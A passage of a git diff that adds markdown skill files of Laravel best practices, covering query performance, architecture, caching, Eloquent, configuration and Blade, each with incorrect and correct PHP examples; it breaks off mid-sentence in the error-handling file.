+ +- `prepareForValidation` +- `authorize` +- `rules` +- `withValidator` +- `afterValidator` +- `getValidator` +- `getValidationData` +- `getValidationMessages` +- `getValidationAttributes` +- `getValidationRedirect` +- `getValidationErrorBag` +- `getValidationFailure` +- `getAuthorizationFailure` + +## Example + +```php +class CreateArticle +{ + use AsAction; + use WithAttributes; + + public function rules(): array + { + return [ + 'title' => ['required', 'string', 'min:8'], + 'body' => ['required', 'string'], + ]; + } + + public function handle(array $attributes): Article + { + return Article::create($attributes); + } +} + +$action = CreateArticle::make()->fill([ + 'title' => 'My first post', + 'body' => 'Hello world', +]); + +$validated = $action->validateAttributes(); +$article = $action->handle($validated); +``` + +## Checklist + +- Attribute keys are explicit and stable. +- Validation rules match expected attribute shape. +- `validateAttributes()` is called before side effects when needed. +- Validation/authorization hooks are tested in focused unit tests. + +## Common pitfalls + +- Mixing attribute-based and argument-based flows inconsistently in the same action. +- Assuming route params override request input in `fillFromRequest` (they do not). +- Skipping `validateAttributes()` when using external input. + +## References + +- https://www.laravelactions.com/2.x/with-attributes.html \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/SKILL.md b/.claude/skills/laravel-best-practices/SKILL.md new file mode 100644 index 000000000..99018f3ae --- /dev/null +++ b/.claude/skills/laravel-best-practices/SKILL.md @@ -0,0 +1,190 @@ +--- +name: laravel-best-practices +description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns." +license: MIT +metadata: + author: laravel +--- + +# Laravel Best Practices + +Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`. + +## Consistency First + +Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern. + +Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides. + +## Quick Reference + +### 1. Database Performance → `rules/db-performance.md` + +- Eager load with `with()` to prevent N+1 queries +- Enable `Model::preventLazyLoading()` in development +- Select only needed columns, avoid `SELECT *` +- `chunk()` / `chunkById()` for large datasets +- Index columns used in `WHERE`, `ORDER BY`, `JOIN` +- `withCount()` instead of loading relations to count +- `cursor()` for memory-efficient read-only iteration +- Never query in Blade templates + +### 2. Advanced Query Patterns → `rules/advanced-queries.md` + +- `addSelect()` subqueries over eager-loading entire has-many for a single value +- Dynamic relationships via subquery FK + `belongsTo` +- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries +- `setRelation()` to prevent circular N+1 queries +- `whereIn` + `pluck()` over `whereHas` for better index usage +- Two simple queries can beat one complex query +- Compound indexes matching `orderBy` column order +- Correlated subqueries in `orderBy` for has-many sorting (avoid joins) + +### 3. Security → `rules/security.md` + +- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates +- No raw SQL with user input — use Eloquent or query builder +- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes +- Validate MIME type, extension, and size for file uploads +- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields + +### 4. Caching → `rules/caching.md` + +- `Cache::remember()` over manual get/put +- `Cache::flexible()` for stale-while-revalidate on high-traffic data +- `Cache::memo()` to avoid redundant cache hits within a request +- Cache tags to invalidate related groups +- `Cache::add()` for atomic conditional writes +- `once()` to memoize per-request or per-object lifetime +- `Cache::lock()` / `lockForUpdate()` for race conditions +- Failover cache stores in production + +### 5. Eloquent Patterns → `rules/eloquent.md` + +- Correct relationship types with return type hints +- Local scopes for reusable query constraints +- Global scopes sparingly — document their existence +- Attribute casts in the `casts()` method +- Cast date columns, use Carbon instances in templates +- `whereBelongsTo($model)` for cleaner queries +- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries + +### 6. Validation & Forms → `rules/validation.md` + +- Form Request classes, not inline validation +- Array notation `['required', 'email']` for new code; follow existing convention +- `$request->validated()` only — never `$request->all()` +- `Rule::when()` for conditional validation +- `after()` instead of `withValidator()` + +### 7. Configuration → `rules/config.md` + +- `env()` only inside config files +- `App::environment()` or `app()->isProduction()` +- Config, lang files, and constants over hardcoded text + +### 8. Testing Patterns → `rules/testing.md` + +- `LazilyRefreshDatabase` over `RefreshDatabase` for speed +- `assertModelExists()` over raw `assertDatabaseHas()` +- Factory states and sequences over manual overrides +- Use fakes (`Event::fake()`, `Exceptions::fake()`, etc.) — but always after factory setup, not before +- `recycle()` to share relationship instances across factories + +### 9. Queue & Job Patterns → `rules/queue-jobs.md` + +- `retry_after` must exceed job `timeout`; use exponential backoff `[1, 5, 10]` +- `ShouldBeUnique` to prevent duplicates; `WithoutOverlapping::untilProcessing()` for concurrency +- Always implement `failed()`; with `retryUntil()`, set `$tries = 0` +- `RateLimited` middleware for external API calls; `Bus::batch()` for related jobs +- Horizon for complex multi-queue scenarios + +### 10. Routing & Controllers → `rules/routing.md` + +- Implicit route model binding +- Scoped bindings for nested resources +- `Route::resource()` or `apiResource()` +- Methods under 10 lines — extract to actions/services +- Type-hint Form Requests for auto-validation + +### 11. HTTP Client → `rules/http-client.md` + +- Explicit `timeout` and `connectTimeout` on every request +- `retry()` with exponential backoff for external APIs +- Check response status or use `throw()` +- `Http::pool()` for concurrent independent requests +- `Http::fake()` and `preventStrayRequests()` in tests + +### 12. Events, Notifications & Mail → `rules/events-notifications.md`, `rules/mail.md` + +- Event discovery over manual registration; `event:cache` in production +- `ShouldDispatchAfterCommit` / `afterCommit()` inside transactions +- Queue notifications and mailables with `ShouldQueue` +- On-demand notifications for non-user recipients +- `HasLocalePreference` on notifiable models +- `assertQueued()` not `assertSent()` for queued mailables +- Markdown mailables for transactional emails + +### 13. Error Handling → `rules/error-handling.md` + +- `report()`/`render()` on exception classes or in `bootstrap/app.php` — follow existing pattern +- `ShouldntReport` for exceptions that should never log +- Throttle high-volume exceptions to protect log sinks +- `dontReportDuplicates()` for multi-catch scenarios +- Force JSON rendering for API routes +- Structured context via `context()` on exception classes + +### 14. Task Scheduling → `rules/scheduling.md` + +- `withoutOverlapping()` on variable-duration tasks +- `onOneServer()` on multi-server deployments +- `runInBackground()` for concurrent long tasks +- `environments()` to restrict to appropriate environments +- `takeUntilTimeout()` for time-bounded processing +- Schedule groups for shared configuration + +### 15. Architecture → `rules/architecture.md` + +- Single-purpose Action classes; dependency injection over `app()` helper +- Prefer official Laravel packages and follow conventions, don't override defaults +- Default to `ORDER BY id DESC` or `created_at DESC`; `mb_*` for UTF-8 safety +- `defer()` for post-response work; `Context` for request-scoped data; `Concurrency::run()` for parallel execution + +### 16. Migrations → `rules/migrations.md` + +- Generate migrations with `php artisan make:migration` +- `constrained()` for foreign keys +- Never modify migrations that have run in production +- Add indexes in the migration, not as an afterthought +- Mirror column defaults in model `$attributes` +- Reversible `down()` by default; forward-fix migrations for intentionally irreversible changes +- One concern per migration — never mix DDL and DML + +### 17. Collections → `rules/collections.md` + +- Higher-order messages for simple collection operations +- `cursor()` vs. `lazy()` — choose based on relationship needs +- `lazyById()` when updating records while iterating +- `toQuery()` for bulk operations on collections + +### 18. Blade & Views → `rules/blade-views.md` + +- `$attributes->merge()` in component templates +- Blade components over `@include`; `@pushOnce` for per-component scripts +- View Composers for shared view data +- `@aware` for deeply nested component props + +### 19. Conventions & Style → `rules/style.md` + +- Follow Laravel naming conventions for all entities +- Prefer Laravel helpers (`Str`, `Arr`, `Number`, `Uri`, `Str::of()`, `$request->string()`) over raw PHP functions +- No JS/CSS in Blade, no HTML in PHP classes +- Code should be readable; comments only for config files + +## How to Apply + +Always use a sub-agent to read rule files and explore this skill's content. + +1. Identify the file type and select relevant sections (e.g., migration → §16, controller → §1, §3, §5, §6, §10) +2. Check sibling files for existing patterns — follow those first per Consistency First +3. Verify API syntax with `search-docs` for the installed Laravel version \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/advanced-queries.md b/.claude/skills/laravel-best-practices/rules/advanced-queries.md new file mode 100644 index 000000000..920714a14 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/advanced-queries.md @@ -0,0 +1,106 @@ +# Advanced Query Patterns + +## Use `addSelect()` Subqueries for Single Values from Has-Many + +Instead of eager-loading an entire has-many relationship for a single value (like the latest timestamp), use a correlated subquery via `addSelect()`. This pulls the value directly in the main SQL query — zero extra queries. + +```php +public function scopeWithLastLoginAt($query): void +{ + $query->addSelect([ + 'last_login_at' => Login::select('created_at') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1), + ])->withCasts(['last_login_at' => 'datetime']); +} +``` + +## Create Dynamic Relationships via Subquery FK + +Extend the `addSelect()` pattern to fetch a foreign key via subquery, then define a `belongsTo` relationship on that virtual attribute. This provides a fully-hydrated related model without loading the entire collection. + +```php +public function lastLogin(): BelongsTo +{ + return $this->belongsTo(Login::class); +} + +public function scopeWithLastLogin($query): void +{ + $query->addSelect([ + 'last_login_id' => Login::select('id') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1), + ])->with('lastLogin'); +} +``` + +## Use Conditional Aggregates Instead of Multiple Count Queries + +Replace N separate `count()` queries with a single query using `CASE WHEN` inside `selectRaw()`. Use `toBase()` to skip model hydration when you only need scalar values. + +```php +$statuses = Feature::toBase() + ->selectRaw("count(case when status = 'Requested' then 1 end) as requested") + ->selectRaw("count(case when status = 'Planned' then 1 end) as planned") + ->selectRaw("count(case when status = 'Completed' then 1 end) as completed") + ->first(); +``` + +## Use `setRelation()` to Prevent Circular N+1 + +When a parent model is eager-loaded with its children, and the view also needs `$child->parent`, use `setRelation()` to inject the already-loaded parent rather than letting Eloquent fire N additional queries. + +```php +$feature->load('comments.user'); +$feature->comments->each->setRelation('feature', $feature); +``` + +## Prefer `whereIn` + Subquery Over `whereHas` + +`whereHas()` emits a correlated `EXISTS` subquery that re-executes per row. Using `whereIn()` with a `select('id')` subquery lets the database use an index lookup instead, without loading data into PHP memory. + +Incorrect (correlated EXISTS re-executes per row): + +```php +$query->whereHas('company', fn ($q) => $q->where('name', 'like', $term)); +``` + +Correct (index-friendly subquery, no PHP memory overhead): + +```php +$query->whereIn('company_id', Company::where('name', 'like', $term)->select('id')); +``` + +## Sometimes Two Simple Queries Beat One Complex Query + +Running a small, targeted secondary query and passing its results via `whereIn` is often faster than a single complex correlated subquery or join. The additional round-trip is worthwhile when the secondary query is highly selective and uses its own index. + +## Use Compound Indexes Matching `orderBy` Column Order + +When ordering by multiple columns, create a single compound index in the same column order as the `ORDER BY` clause. Individual single-column indexes cannot combine for multi-column sorts — the database will filesort without a compound index. + +```php +// Migration +$table->index(['last_name', 'first_name']); + +// Query — column order must match the index +User::query()->orderBy('last_name')->orderBy('first_name')->paginate(); +``` + +## Use Correlated Subqueries for Has-Many Ordering + +When sorting by a value from a has-many relationship, avoid joins (they duplicate rows). Use a correlated subquery inside `orderBy()` instead, paired with an `addSelect` scope for eager loading. + +```php +public function scopeOrderByLastLogin($query): void +{ + $query->orderByDesc(Login::select('created_at') + ->whereColumn('user_id', 'users.id') + ->latest() + ->take(1) + ); +} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/architecture.md b/.claude/skills/laravel-best-practices/rules/architecture.md new file mode 100644 index 000000000..165056422 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/architecture.md @@ -0,0 +1,202 @@ +# Architecture Best Practices + +## Single-Purpose Action Classes + +Extract discrete business operations into invokable Action classes. + +```php +class CreateOrderAction +{ + public function __construct(private InventoryService $inventory) {} + + public function execute(array $data): Order + { + $order = Order::create($data); + $this->inventory->reserve($order); + + return $order; + } +} +``` + +## Use Dependency Injection + +Always use constructor injection. Avoid `app()` or `resolve()` inside classes. + +Incorrect: +```php +class OrderController extends Controller +{ + public function store(StoreOrderRequest $request) + { + $service = app(OrderService::class); + + return $service->create($request->validated()); + } +} +``` + +Correct: +```php +class OrderController extends Controller +{ + public function __construct(private OrderService $service) {} + + public function store(StoreOrderRequest $request) + { + return $this->service->create($request->validated()); + } +} +``` + +## Code to Interfaces + +Depend on contracts at system boundaries (payment gateways, notification channels, external APIs) for testability and swappability. + +Incorrect (concrete dependency): +```php +class OrderService +{ + public function __construct(private StripeGateway $gateway) {} +} +``` + +Correct (interface dependency): +```php +interface PaymentGateway +{ + public function charge(int $amount, string $customerId): PaymentResult; +} + +class OrderService +{ + public function __construct(private PaymentGateway $gateway) {} +} +``` + +Bind in a service provider: + +```php +$this->app->bind(PaymentGateway::class, StripeGateway::class); +``` + +## Default Sort by Descending + +When no explicit order is specified, sort by `id` or `created_at` descending. Explicit ordering prevents cross-database inconsistencies between MySQL and Postgres. + +Incorrect: +```php +$posts = Post::paginate(); +``` + +Correct: +```php +$posts = Post::latest()->paginate(); +``` + +## Use Atomic Locks for Race Conditions + +Prevent race conditions with `Cache::lock()` or `lockForUpdate()`. + +```php +Cache::lock('order-processing-'.$order->id, 10)->block(5, function () use ($order) { + $order->process(); +}); + +// Or at query level +$product = Product::where('id', $id)->lockForUpdate()->first(); +``` + +## Use `mb_*` String Functions + +When no Laravel helper exists, prefer `mb_strlen`, `mb_strtolower`, etc. for UTF-8 safety. Standard PHP string functions count bytes, not characters. + +Incorrect: +```php +strlen('José'); // 5 (bytes, not characters) +strtolower('MÜNCHEN'); // 'mÜnchen' — fails on multibyte +``` + +Correct: +```php +mb_strlen('José'); // 4 (characters) +mb_strtolower('MÜNCHEN'); // 'münchen' + +// Prefer Laravel's Str helpers when available +Str::length('José'); // 4 +Str::lower('MÜNCHEN'); // 'münchen' +``` + +## Use `defer()` for Post-Response Work + +For lightweight tasks that don't need to survive a crash (logging, analytics, cleanup), use `defer()` instead of dispatching a job. The callback runs after the HTTP response is sent — no queue overhead. + +Incorrect (job overhead for trivial work): +```php +dispatch(new LogPageView($page)); +``` + +Correct (runs after response, same process): +```php +defer(fn () => PageView::create(['page_id' => $page->id, 'user_id' => auth()->id()])); +``` + +Use jobs when the work must survive process crashes or needs retry logic. Use `defer()` for fire-and-forget work. + +## Use `Context` for Request-Scoped Data + +The `Context` facade passes data through the entire request lifecycle — middleware, controllers, jobs, logs — without passing arguments manually. + +```php +// In middleware +Context::add('tenant_id', $request->header('X-Tenant-ID')); + +// Anywhere later — controllers, jobs, log context +$tenantId = Context::get('tenant_id'); +``` + +Context data automatically propagates to queued jobs and is included in log entries. Use `Context::addHidden()` for sensitive data that should be available in queued jobs but excluded from log context. If data must not leave the current process, do not store it in `Context`. + +## Use `Concurrency::run()` for Parallel Execution + +Run independent operations in parallel using child processes — no async libraries needed. + +```php +use Illuminate\Support\Facades\Concurrency; + +[$users, $orders] = Concurrency::run([ + fn () => User::count(), + fn () => Order::where('status', 'pending')->count(), +]); +``` + +Each closure runs in a separate process with full Laravel access. Use for independent database queries, API calls, or computations that would otherwise run sequentially. + +## Convention Over Configuration + +Follow Laravel conventions. Don't override defaults unnecessarily. + +Incorrect: +```php +class Customer extends Model +{ + protected $table = 'Customer'; + protected $primaryKey = 'customer_id'; + + public function roles(): BelongsToMany + { + return $this->belongsToMany(Role::class, 'role_customer', 'customer_id', 'role_id'); + } +} +``` + +Correct: +```php +class Customer extends Model +{ + public function roles(): BelongsToMany + { + return $this->belongsToMany(Role::class); + } +} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/blade-views.md b/.claude/skills/laravel-best-practices/rules/blade-views.md new file mode 100644 index 000000000..c6f8aaf1e --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/blade-views.md @@ -0,0 +1,36 @@ +# Blade & Views Best Practices + +## Use `$attributes->merge()` in Component Templates + +Hardcoding classes prevents consumers from adding their own. `merge()` combines class attributes cleanly. + +```blade +
merge(['class' => 'alert alert-'.$type]) }}> + {{ $message }} +
+``` + +## Use `@pushOnce` for Per-Component Scripts + +If a component renders inside a `@foreach`, `@push` inserts the script N times. `@pushOnce` guarantees it's included exactly once. + +## Prefer Blade Components Over `@include` + +`@include` shares all parent variables implicitly (hidden coupling). Components have explicit props, attribute bags, and slots. + +## Use View Composers for Shared View Data + +If every controller rendering a sidebar must pass `$categories`, that's duplicated code. A View Composer centralizes it. + +## Use Blade Fragments for Partial Re-Renders (htmx/Turbo) + +A single view can return either the full page or just a fragment, keeping routing clean. + +```php +return view('dashboard', compact('users')) + ->fragmentIf($request->hasHeader('HX-Request'), 'user-list'); +``` + +## Use `@aware` for Deeply Nested Component Props + +Avoids re-passing parent props through every level of nested components. \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/caching.md b/.claude/skills/laravel-best-practices/rules/caching.md new file mode 100644 index 000000000..eb3ef3e62 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/caching.md @@ -0,0 +1,70 @@ +# Caching Best Practices + +## Use `Cache::remember()` Instead of Manual Get/Put + +Atomic pattern prevents race conditions and removes boilerplate. + +Incorrect: +```php +$val = Cache::get('stats'); +if (! $val) { + $val = $this->computeStats(); + Cache::put('stats', $val, 60); +} +``` + +Correct: +```php +$val = Cache::remember('stats', 60, fn () => $this->computeStats()); +``` + +## Use `Cache::flexible()` for Stale-While-Revalidate + +On high-traffic keys, one user always gets a slow response when the cache expires. `flexible()` serves slightly stale data while refreshing in the background. + +Incorrect: `Cache::remember('users', 300, fn () => User::all());` + +Correct: `Cache::flexible('users', [300, 600], fn () => User::all());` — fresh for 5 min, stale-but-served up to 10 min, refreshes via deferred function. + +## Use `Cache::memo()` to Avoid Redundant Hits Within a Request + +If the same cache key is read multiple times per request (e.g., a service called from multiple places), `memo()` stores the resolved value in memory. + +`Cache::memo()->get('settings');` — 5 calls = 1 Redis round-trip instead of 5. + +## Use Cache Tags to Invalidate Related Groups + +Without tags, invalidating a group of entries requires tracking every key. Tags let you flush atomically. Only works with `redis`, `memcached`, `dynamodb` — not `file` or `database`. + +```php +Cache::tags(['user-1'])->flush(); +``` + +## Use `Cache::add()` for Atomic Conditional Writes + +`add()` only writes if the key does not exist — atomic, no race condition between checking and writing. + +Incorrect: `if (! Cache::has('lock')) { Cache::put('lock', true, 10); }` + +Correct: `Cache::add('lock', true, 10);` + +## Use `once()` for Per-Request Memoization + +`once()` memoizes a function's return value for the lifetime of the object (or request for closures). Unlike `Cache::memo()`, it doesn't hit the cache store at all — pure in-memory. + +```php +public function roles(): Collection +{ + return once(fn () => $this->loadRoles()); +} +``` + +Multiple calls return the cached result without re-executing. Use `once()` for expensive computations called multiple times per request. Use `Cache::memo()` when you also want cross-request caching. + +## Configure Failover Cache Stores in Production + +If Redis goes down, the app falls back to a secondary store automatically. + +```php +'failover' => ['driver' => 'failover', 'stores' => ['redis', 'database']], +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/collections.md b/.claude/skills/laravel-best-practices/rules/collections.md new file mode 100644 index 000000000..14f683d32 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/collections.md @@ -0,0 +1,44 @@ +# Collection Best Practices + +## Use Higher-Order Messages for Simple Operations + +Incorrect: +```php +$users->each(function (User $user) { + $user->markAsVip(); +}); +``` + +Correct: `$users->each->markAsVip();` + +Works with `each`, `map`, `sum`, `filter`, `reject`, `contains`, etc. + +## Choose `cursor()` vs. `lazy()` Correctly + +- `cursor()` — one model in memory, but cannot eager-load relationships (N+1 risk). +- `lazy()` — chunked pagination returning a flat LazyCollection, supports eager loading. + +Incorrect: `User::with('roles')->cursor()` — eager loading silently ignored. + +Correct: `User::with('roles')->lazy()` for relationship access; `User::cursor()` for attribute-only work. + +## Use `lazyById()` When Updating Records While Iterating + +`lazy()` uses offset pagination — updating records during iteration can skip or double-process. `lazyById()` uses `id > last_id`, safe against mutation. + +## Use `toQuery()` for Bulk Operations on Collections + +Avoids manual `whereIn` construction. + +Incorrect: `User::whereIn('id', $users->pluck('id'))->update([...]);` + +Correct: `$users->toQuery()->update([...]);` + +## Use `#[CollectedBy]` for Custom Collection Classes + +More declarative than overriding `newCollection()`. + +```php +#[CollectedBy(UserCollection::class)] +class User extends Model {} +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/config.md b/.claude/skills/laravel-best-practices/rules/config.md new file mode 100644 index 000000000..8fd8f536f --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/config.md @@ -0,0 +1,73 @@ +# Configuration Best Practices + +## `env()` Only in Config Files + +Direct `env()` calls return `null` when config is cached. + +Incorrect: +```php +$key = env('API_KEY'); +``` + +Correct: +```php +// config/services.php +'key' => env('API_KEY'), + +// Application code +$key = config('services.key'); +``` + +## Use Encrypted Env or External Secrets + +Never store production secrets in plain `.env` files in version control. + +Incorrect: +```bash + +# .env committed to repo or shared in Slack + +STRIPE_SECRET=sk_live_abc123 +AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI +``` + +Correct: +```bash +php artisan env:encrypt --env=production --readable +php artisan env:decrypt --env=production +``` + +For cloud deployments, prefer the platform's native secret store (AWS Secrets Manager, Vault, etc.) and inject at runtime. + +## Use `App::environment()` for Environment Checks + +Incorrect: +```php +if (env('APP_ENV') === 'production') { +``` + +Correct: +```php +if (app()->isProduction()) { +// or +if (App::environment('production')) { +``` + +## Use Constants and Language Files + +Use class constants instead of hardcoded magic strings for model states, types, and statuses. + +```php +// Incorrect +return $this->type === 'normal'; + +// Correct +return $this->type === self::TYPE_NORMAL; +``` + +If the application already uses language files for localization, use `__()` for user-facing strings too. Do not introduce language files purely for English-only apps — simple string literals are fine there. + +```php +// Only when lang files already exist in the project +return back()->with('message', __('app.article_added')); +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/db-performance.md b/.claude/skills/laravel-best-practices/rules/db-performance.md new file mode 100644 index 000000000..8fb719377 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/db-performance.md @@ -0,0 +1,192 @@ +# Database Performance Best Practices + +## Always Eager Load Relationships + +Lazy loading causes N+1 query problems — one query per loop iteration. Always use `with()` to load relationships upfront. + +Incorrect (N+1 — executes 1 + N queries): +```php +$posts = Post::all(); +foreach ($posts as $post) { + echo $post->author->name; +} +``` + +Correct (2 queries total): +```php +$posts = Post::with('author')->get(); +foreach ($posts as $post) { + echo $post->author->name; +} +``` + +Constrain eager loads to select only needed columns (always include the foreign key): + +```php +$users = User::with(['posts' => function ($query) { + $query->select('id', 'user_id', 'title') + ->where('published', true) + ->latest() + ->limit(10); +}])->get(); +``` + +## Prevent Lazy Loading in Development + +Enable this in `AppServiceProvider::boot()` to catch N+1 issues during development. + +```php +public function boot(): void +{ + Model::preventLazyLoading(! app()->isProduction()); +} +``` + +Throws `LazyLoadingViolationException` when a relationship is accessed without being eager-loaded. + +## Select Only Needed Columns + +Avoid `SELECT *` — especially when tables have large text or JSON columns. + +Incorrect: +```php +$posts = Post::with('author')->get(); +``` + +Correct: +```php +$posts = Post::select('id', 'title', 'user_id', 'created_at') + ->with(['author:id,name,avatar']) + ->get(); +``` + +When selecting columns on eager-loaded relationships, always include the foreign key column or the relationship won't match. + +## Chunk Large Datasets + +Never load thousands of records at once. Use chunking for batch processing. + +Incorrect: +```php +$users = User::all(); +foreach ($users as $user) { + $user->notify(new WeeklyDigest); +} +``` + +Correct: +```php +User::where('subscribed', true)->chunk(200, function ($users) { + foreach ($users as $user) { + $user->notify(new WeeklyDigest); + } +}); +``` + +Use `chunkById()` when modifying records during iteration — standard `chunk()` uses OFFSET which shifts when rows change: + +```php +User::where('active', false)->chunkById(200, function ($users) { + $users->each->delete(); +}); +``` + +## Add Database Indexes + +Index columns that appear in `WHERE`, `ORDER BY`, `JOIN`, and `GROUP BY` clauses. + +Incorrect: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->constrained(); + $table->string('status'); + $table->timestamps(); +}); +``` + +Correct: +```php +Schema::create('orders', function (Blueprint $table) { + $table->id(); + $table->foreignId('user_id')->index()->constrained(); + $table->string('status')->index(); + $table->timestamps(); + $table->index(['status', 'created_at']); +}); +``` + +Add composite indexes for common query patterns (e.g., `WHERE status = ? ORDER BY created_at`). + +## Use `withCount()` for Counting Relations + +Never load entire collections just to count them. + +Incorrect: +```php +$posts = Post::all(); +foreach ($posts as $post) { + echo $post->comments->count(); +} +``` + +Correct: +```php +$posts = Post::withCount('comments')->get(); +foreach ($posts as $post) { + echo $post->comments_count; +} +``` + +Conditional counting: + +```php +$posts = Post::withCount([ + 'comments', + 'comments as approved_comments_count' => function ($query) { + $query->where('approved', true); + }, +])->get(); +``` + +## Use `cursor()` for Memory-Efficient Iteration + +For read-only iteration over large result sets, `cursor()` loads one record at a time via a PHP generator. + +Incorrect: +```php +$users = User::where('active', true)->get(); +``` + +Correct: +```php +foreach (User::where('active', true)->cursor() as $user) { + ProcessUser::dispatch($user->id); +} +``` + +Use `cursor()` for read-only iteration. Use `chunk()` / `chunkById()` when modifying records. + +## No Queries in Blade Templates + +Never execute queries in Blade templates. Pass data from controllers. + +Incorrect: +```blade +@foreach (User::all() as $user) + {{ $user->profile->name }} +@endforeach +``` + +Correct: +```php +// Controller +$users = User::with('profile')->get(); +return view('users.index', compact('users')); +``` + +```blade +@foreach ($users as $user) + {{ $user->profile->name }} +@endforeach +``` \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/eloquent.md b/.claude/skills/laravel-best-practices/rules/eloquent.md new file mode 100644 index 000000000..09cd66a05 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/eloquent.md @@ -0,0 +1,148 @@ +# Eloquent Best Practices + +## Use Correct Relationship Types + +Use `hasMany`, `belongsTo`, `morphMany`, etc. with proper return type hints. + +```php +public function comments(): HasMany +{ + return $this->hasMany(Comment::class); +} + +public function author(): BelongsTo +{ + return $this->belongsTo(User::class, 'user_id'); +} +``` + +## Use Local Scopes for Reusable Queries + +Extract reusable query constraints into local scopes to avoid duplication. + +Incorrect: +```php +$active = User::where('verified', true)->whereNotNull('activated_at')->get(); +$articles = Article::whereHas('user', function ($q) { + $q->where('verified', true)->whereNotNull('activated_at'); +})->get(); +``` + +Correct: +```php +public function scopeActive(Builder $query): Builder +{ + return $query->where('verified', true)->whereNotNull('activated_at'); +} + +// Usage +$active = User::active()->get(); +$articles = Article::whereHas('user', fn ($q) => $q->active())->get(); +``` + +## Apply Global Scopes Sparingly + +Global scopes silently modify every query on the model, making debugging difficult. Prefer local scopes and reserve global scopes for truly universal constraints like soft deletes or multi-tenancy. + +Incorrect (global scope for a conditional filter): +```php +class PublishedScope implements Scope +{ + public function apply(Builder $builder, Model $model): void + { + $builder->where('published', true); + } +} +// Now admin panels, reports, and background jobs all silently skip drafts +``` + +Correct (local scope you opt into): +```php +public function scopePublished(Builder $query): Builder +{ + return $query->where('published', true); +} + +Post::published()->paginate(); // Explicit +Post::paginate(); // Admin sees all +``` + +## Define Attribute Casts + +Use the `casts()` method (or `$casts` property following project convention) for automatic type conversion. + +```php +protected function casts(): array +{ + return [ + 'is_active' => 'boolean', + 'metadata' => 'array', + 'total' => 'decimal:2', + ]; +} +``` + +## Cast Date Columns Properly + +Always cast date columns. Use Carbon instances in templates instead of formatting strings manually. + +Incorrect: +```blade +{{ Carbon::createFromFormat('Y-d-m H-i', $order->ordered_at)->toDateString() }} +``` + +Correct: +```php +protected function casts(): array +{ + return [ + 'ordered_at' => 'datetime', + ]; +} +``` + +```blade +{{ $order->ordered_at->toDateString() }} +{{ $order->ordered_at->format('m-d') }} +``` + +## Use `whereBelongsTo()` for Relationship Queries + +Cleaner than manually specifying foreign keys. + +Incorrect: +```php +Post::where('user_id', $user->id)->get(); +``` + +Correct: +```php +Post::whereBelongsTo($user)->get(); +Post::whereBelongsTo($user, 'author')->get(); +``` + +## Avoid Hardcoded Table Names in Queries + +Never use string literals for table names in raw queries, joins, or subqueries. Hardcoded table names make it impossible to find all places a model is used and break refactoring (e.g., renaming a table requires hunting through every raw string). + +Incorrect: +```php +DB::table('users')->where('active', true)->get(); + +$query->join('companies', 'companies.id', '=', 'users.company_id'); + +DB::select('SELECT * FROM orders WHERE status = ?', ['pending']); +``` + +Correct — reference the model's table: +```php +DB::table((new User)->getTable())->where('active', true)->get(); + +// Even better — use Eloquent or the query builder instead of raw SQL +User::where('active', true)->get(); +Order::where('status', 'pending')->get(); +``` + +Prefer Eloquent queries and relationships over `DB::table()` whenever possible — they already reference the model's table. When `DB::table()` or raw joins are unavoidable, always use `(new Model)->getTable()` to keep the reference traceable. + +**Exception — migrations:** In migrations, hardcoded table names via `DB::table('settings')` are acceptable and preferred. Models change over time but migrations are frozen snapshots — referencing a model that is later renamed or deleted would break the migration. \ No newline at end of file diff --git a/.claude/skills/laravel-best-practices/rules/error-handling.md b/.claude/skills/laravel-best-practices/rules/error-handling.md new file mode 100644 index 000000000..bb8e7a387 --- /dev/null +++ b/.claude/skills/laravel-best-practices/rules/error-handling.md @@ -0,0 +1,72 @@ +# Error Handling Best Practices + +## Exception Reporting and Rendering + +There are two valid approaches — choose one and apply it consistently across the project. + +**Co-location on the exception class** — keeps behavior alongside the exception definition, easier to find: + +```php +class InvalidOrderException extends Exception +{ + public function report(): void { /* custom reporting */ } + + public function render(Request $request): Response + { + return response()->view('errors.invalid-order', status: 422); + } +} +``` + +**Centralized in `bootstrap/app.php`** — all exception handling in one place, easier to see the full picture: + +```php +->withExceptions(function (Exceptions $exceptions) { + $exceptions->report(function (InvalidOrderException $e) { /* ... */ }); + $exceptions->render(function (InvalidOrderException $e, Request $request) { + return response()->view('errors.invalid-order', status: 422); + }); +}) +``` + +Check the existing codebase and follow whichever pattern is 